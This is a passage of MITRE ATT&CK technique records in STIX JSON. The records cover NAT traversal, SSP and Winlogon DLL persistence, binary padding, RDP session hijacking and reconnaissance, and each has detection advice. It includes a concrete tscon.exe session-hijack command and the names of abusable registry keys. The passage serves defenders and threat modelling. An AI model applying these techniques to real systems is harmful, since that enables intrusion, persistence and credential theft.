<code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)", "x_mitre_is_subtechnique": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Creation", "Module: Module Load", "Windows Registry: Windows Registry Key Modification", "Command: Command Execution", "Process: OS API Execution", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Application control"], "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"]}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de", "type": "attack-pattern", "created": "2020-10-19T16:48:08.241Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1599.001", "url": "https://attack.mitre.org/techniques/T1599/001"}, {"source_name": "RFC1918", "url": "https://tools.ietf.org/html/rfc1918", "description": "IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020."}], "modified": "2020-10-21T01:45:58.951Z", "name": "Network Address Translation Traversal", "description": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device.  A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design.  In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device.  In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.  \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices.  Compare packets transmitted by the device between networks to look for signs of NAT being implemented.  Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3.  In some cases, Port Address Translation (PAT) may also be used by an adversary.\n\nMonitor the border network device\u2019s configuration to determine if any unintended NAT rules have been added without authorization.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content"], "x_mitre_permissions_required": ["Administrator"]}, {"modified": "2022-10-20T20:16:32.599Z", "name": "Upload Tool", "description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d", "created": "2021-03-17T20:31:07.828Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608/002", "external_id": "T1608.002"}, {"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}, {"source_name": "Malwarebytes Heroku Skimmers", "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.", "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"}, {"source_name": "Dragos Heroku Watering Hole", "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.", "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"}, {"source_name": "Intezer App Service Phishing", "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.", "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462", "type": "attack-pattern", "created": "2020-01-24T17:16:11.806Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1547.005", "url": "https://attack.mitre.org/techniques/T1547/005"}, {"url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", "source_name": "Graeber 2014"}, {"url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", "source_name": "Microsoft Configure LSA"}], "modified": "2020-03-25T15:42:48.910Z", "name": "Security Support Provider", "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution", "Module: Module Load", "Windows Registry: Windows Registry Key Modification"], "x_mitre_permissions_required": ["Administrator"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Praetorian"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", "type": "attack-pattern", "created": "2017-05-31T21:30:20.148Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1004", "url": "https://attack.mitre.org/techniques/T1004"}, {"external_id": "CAPEC-579", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/579.html"}, {"url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order", "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.", "source_name": "Cylance Reg Persistence Sept 2013"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}], "modified": "2020-01-24T17:07:19.762Z", "name": "Winlogon Helper DLL", "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Martin Jirkal, ESET"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", "type": "attack-pattern", "created": "2017-05-31T21:30:22.096Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1009", "url": "https://attack.mitre.org/techniques/T1009"}, {"external_id": "CAPEC-572", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/572.html"}, {"source_name": "ESET OceanLotus", "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"}, {"source_name": "Securelist Malware Tricks April 2017", "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/", "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019."}, {"source_name": "VirusTotal FAQ", "url": "https://www.virustotal.com/en/faq/", "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019."}], "modified": "2020-09-17T18:25:33.796Z", "name": "Binary Padding", "description": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Signature-based detection", "Anti-virus"], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-28T15:43:30.271Z", "name": "Use Alternate Authentication Material", "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Blake Strom, Microsoft Threat Intelligence", "Pawel Partyka, Microsoft Threat Intelligence"], "x_mitre_deprecated": false, "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Office 365", "SaaS", "Google Workspace", "IaaS", "Containers"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Application Log: Application Log Content", "Logon Session: Logon Session Creation", "Active Directory: Active Directory Credential Request", "Web Credential: Web Credential Usage", "User Account: User Account Authentication"], "x_mitre_defense_bypassed": ["System Access Controls"], "type": "attack-pattern", "id": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", "created": "2020-01-30T16:18:36.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1550", "external_id": "T1550"}, {"source_name": "TechNet Audit Policy", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"}, {"source_name": "NIST Authentication", "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020.", "url": "https://csrc.nist.gov/glossary/term/authentication"}, {"source_name": "NIST MFA", "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020.", "url": "https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Matthew Demaske, Adaptforward"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", "type": "attack-pattern", "created": "2017-05-31T21:30:59.769Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1076", "url": "https://attack.mitre.org/techniques/T1076"}, {"external_id": "CAPEC-555", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/555.html"}, {"url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx", "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", "source_name": "TechNet Remote Desktop Services"}, {"url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/", "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.", "source_name": "Alperovitch Malware"}, {"url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.", "source_name": "RDP Hijacking Korznikov"}, {"url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.", "source_name": "RDP Hijacking Medium"}, {"url": "https://github.com/nccgroup/redsnarf", "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.", "source_name": "Kali Redsnarf"}], "modified": "2020-02-11T18:24:04.507Z", "name": "Remote Desktop Protocol", "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Remote Desktop Users", "User"], "x_mitre_system_requirements": ["RDP service enabled, account in the Remote Desktop Users group."], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41", "type": "attack-pattern", "created": "2020-10-02T17:03:45.918Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1597.001", "url": "https://attack.mitre.org/techniques/T1597/001"}, {"source_name": "D3Secutrity CTI Feeds", "url": "https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/", "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:45:30.862Z", "name": "Threat Intel Vendors", "description": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-11T16:06:10.376Z", "name": "Exfiltration Over Other Network Medium", "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_contributors": ["Itzik Kotler, SafeBreach"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content", "File: File Access", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", "created": "2017-05-31T21:30:25.159Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1011", "external_id": "T1011"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd", "type": "attack-pattern", "created": "2020-10-20T00:08:21.745Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1602.002", "url": "https://attack.mitre.org/techniques/T1602/002"}, {"source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018", "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A", "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."}, {"source_name": "Cisco Blog Legacy Device Attacks", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}, {"source_name": "US-CERT TA18-068A 2018", "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A", "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."}], "modified": "2022-02-17T19:50:46.948Z", "name": "Network Device Configuration Dump", "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Content"], "x_mitre_permissions_required": ["Administrator"]}, {"modified": "2024-04-19T04:27:00.005Z", "name": "Gather Victim Identity Information", "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid 